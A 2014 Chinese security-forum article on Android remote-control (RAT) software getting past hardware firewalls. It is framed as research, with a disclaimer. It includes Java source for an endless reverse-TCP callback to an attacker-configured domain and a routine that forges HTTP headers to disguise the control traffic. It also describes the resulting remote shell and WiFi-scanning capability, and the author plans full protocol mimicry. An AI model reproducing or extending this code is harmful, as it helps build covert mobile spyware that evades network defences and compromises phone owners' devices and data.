首页
社区
课程
招聘
对手机远程控制软件穿透硬件防火墙的分析和研究
发表于: 2014-11-1 22:28 913

对手机远程控制软件穿透硬件防火墙的分析和研究

2014-11-1 22:28
913
新闻链接:5f1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5k6h3g2T1N6h3k6Q4x3X3g2U0L8$3#2Q4x3V1k6S2M7Y4c8A6j5$3I4W2M7#2)9J5c8X3&6W2N6s2N6G2M7X3E0Q4x3V1j5@1z5e0t1%4x3g2)9J5k6h3S2@1L8h3H3`.
新闻时间:2014-10-30
新闻正文:
首先来说说本人对防火墙的一些认识,防火墙就是拦截和过滤外部网络“不安全的网络”对内部网络“可信网络” 数据包传输的一个工具。反过来也是可以的(内部网络到外部网络),可以是软件防火墙,也可以硬件防火墙。它的原理就是对 TCP/IP 协议族中的网络层和传输层以及应用层中的数据包进行分析和过滤。

关于防火墙更加详细的说明可以参考百度百科92fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0S2K9h3E0W2i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6K6N6h3u0$3K9h3g2%4i4K6u0r3x3K6l9$3y4#2)9J5c8U0V1H3y4o6R3&6y4U0k6Q4x3X3g2Z5N6r3@1`.

本文研究的内容可能包含攻击性,仅供安全研究和教学用途,禁止非法利用

手机远程控制软件穿墙研究

下面进入正题,今天讨论的手机远程控制(以下简称远控)主要指的是Android类手机远控,采用TCP 反弹连接的方式上线。反弹连接上线这种方式对于研究安全技术的人来说再熟悉不过了,比如说几年前的灰鸽子远控, 上兴远控, PCShare, PosionIvy  等等。

这种上线方式就是大家常说的C/S(client/server)模式;不同于C/S模式,B/S(brower/server)模式数据包传输走的是HTTP或者HTTPS协议。

穿透硬件防火墙的方法有很多种, 比如说走ICMP 协议的后门,可以穿透一部分防火墙(取决于防火墙的过滤规则),还有走HTTP/HTTPs协议的B/S类远控后门,这类远控上线很隐蔽,不易被察觉。但是它们都有一个特点,就是数据传输协议单一,一旦被发现,就很难逃脱,因为发送的http 请求头都是固定的,比如大家常用的扫描web服务器的工具AcunetixWeb Vulnerability Scanner,Netsparker 等等;它们的http 请求头都很特殊。B/S类远控后门也一样。

我这里的思路是什么呢? 数据包传输还得用tcp反弹连接 ,但是数据包是伪造的。比如伪造成http 协议,或者任意一种应用层协议,如SMTP协议,DNS协议等等。

下面我给出一部分关键源代码:

/**
        * 建立socket 反弹连接.
        *@return
        */

new Thread()
        {
            public void run() {
                     while(true)
                     {         
                            try
                            {
                                   Thread.sleep(2000);
                                   try
                                   {
                                   //从String.xml获取上线域名和端口。
                                   socket = newSocket(InetAddress.getByName(domain.trim()),Integer.parseInt(port.trim()));
                                   booleanisConnected = socket.isConnected()&&!socket.isClosed();
                                   if(isConnected)
                                   {
                                          Log.d(TAG,socket.toString());
                                          socket.setKeepAlive(true);  //表示对于长时间处于空闲状态的Socket,是否要自动把它关闭
                                          //socket.setTcpNoDelay(true);//TcpNoDelay=false,为启用nagle算法
                                          BackConnTask(socket);
                                   }
                                   } catch(IOException e) {
                                          Log.e(TAG,e.toString());
                                         
                                   } finally{      
                                          if(socket!=null)socket.close();
                                   }
                            } catch (Exceptione) {
                                   Log.e(TAG,e.toString());
                                 
                            }
                     }
            };
        }.start();

      

/**
        * 初始化http请求数据.
        *@return
        */
      
       public String InitHttpGet()
       {
              StringBuilder request = newStringBuilder();
            
              String v1="Host:3beK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3N6G2L8$3N6D9k6g2)9J5k6r3q4F1j5h3I4&6N6r3W2U0M7#2)9J5k6h3y4G2L8g2)9#2b7%4u0Q4y4f1y4F1";
              String v2="User-Agent:Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0\r\n";
              String v3="Accept:image/png,image/*;q=0.8,*/*;q=0.5\r\n";
              String v4="Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
              String v5="Accept-Encoding:gzip, deflate\r\n";
              String v6="Connection:keep-alive\r\n\r\n";
              request.append(v1).append(v2).append(v3).append(v4).append(v5).append(v6);
              //request.length()=266
              return request.toString();
       }

上面的源代码只是一小部分,源代码的流程是这样的,如下图:

[示意图.png]

这里只是一个初步的模型,数据包的前面一部分还是固定的。

下面实际抓包看下效果,如下图:

[wireshark抓取手机数据包-测试png.png]

[wireshark抓取手机数据包-测试-HTTP.png]

在wireshark 里看到 ,数据包由tcp 变成了 http 协议。数据内容也变成了http 的请求头数据包。

下面看下远控的功能是否正常,如下图:

[天眼s.png]

[ls -l.png]

上图是执行系统命令。

[wifi.png]

上图是获取WIFI 扫描信息,还有其他功能就不一一演示了。

了解主流硬件防火墙

下面我们再来看下主流的硬件防火墙都有哪些功能

(注明:下面文字是从天融信官方网站上找到的)

NGFW4000系列专用平台产品采用最新的CCI技术,提供对OSI网络模型所有层次上的网络威胁的实时保护。网络卫士系列防火墙可对还原出来的应用层对象(如文件、网页、邮件等)进行病毒查杀,并可检查是否存在不良WEB内容、垃圾邮件、间谍软件和网络钓鱼欺骗等其他威胁,实现彻底防范。

[20120713162743222568.jpg]

状态检测只检查数据包的包头。

深度包检测可对数据包内容进行检查。

CCI可实时将网络层数据还原为完整的应用层对象(如文件、网页、邮件等),并对这些完整内容进行全面检查,实现彻底的内容防护。

支持入侵防御功能:

支持应用层防御,入侵防御攻击特征库数量≥3500种,攻击检测率≥90%;支持对多种常用协议的协议识别和异常检测,包括HTTP、FTP、SMTP、POP3、IMAP、MSRPC、NETBIOS、SMB、MS_SQL、TALNET、IRC、DNS等;支持入侵攻击特征库的分类显示;支持用户自定义规则;支持入侵攻击特征库自动升级,手动升级,离线升级,版本回退;响应方式支持阻断、丢包、日志记录等。

更加详细的说明可以参考下面的连接:

05aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8G2M7s2y4W2j5#2)9J5k6h3y4G2L8g2)9J5k6h3y4F1i4K6u0r3j5i4q4U0M7q4)9J5c8X3u0B7j5i4q4Q4x3V1k6X3K9s2q4Q4x3V1k6*7P5h3c8Z5M7s2c8Q4x3V1k6A6L8X3c8W2P5q4)9J5k6h3S2@1L8b7`.`.

从上面的描述可以分析得出, 硬件防火墙的功能还是很全面的。要想突破防火墙的过滤规则,就需要在发送数据包的时候绕过这些规则。

我上面的源代码实现的功能并不完善,以后的想法是实现受控端本地抓包,受控端用什么网络协议,远控就自动伪造成什么协议。达到的效果就是受控端能上网,远控也能上网。

题外话

我看过很多有关黑客类电影,比如:《虎胆龙威4》,《007》,《谍影重重》,《夺命手机》等等。你们想想看,美国国家安全局、中情局、英国军情6处,它们用的什么硬件防火墙。是吧,肯定很牛X ,要想突破,谈何容易。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回